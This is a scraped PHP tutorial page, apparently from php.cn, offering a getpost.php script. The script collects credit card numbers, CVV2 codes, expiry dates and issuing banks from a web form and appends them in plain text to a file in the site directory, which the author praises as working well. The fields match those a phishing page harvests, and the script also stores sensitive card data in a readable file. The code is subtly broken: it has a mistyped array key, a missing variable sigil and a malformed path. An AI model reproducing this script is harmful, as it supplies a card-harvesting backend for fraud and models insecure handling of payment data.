Home > Backend Development > PHP Tutorial > PHP code to collect form content and write it to a file_PHP tutorial

PHP code to collect form content and write it to a file_PHP tutorial

WBOY
Release: 2016-07-21 15:21:24
Original
967 people have browsed it

As for the content of the form, I won’t go into details here. The main thing is the action="getpost.php" of the form, which means writing the file getpost.php. Below I will post the contents of this file.

Copy code The code is as follows:

//Define the form content to be collected
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year '];
$cardbank = $_POST['cardbank'];
//Define the collected content format
$content = "Credit Card Number:".$cardnum.",Card Verification Number:" .$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
//Define the location where the file is stored
$compile_dir = ". /txt.txt";
//The following is the written PHP code
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>

Finally, txt.txt will be created in the current directory and the collected information will be written into this file. The effect is still very good of.

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/324892.htmlTechArticleAs for the content of the form, I won’t go into details here. The main thing is the action="getpost.php" of the form. Just write the file getpost.php. Below I will post the contents of this file. Copy code...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template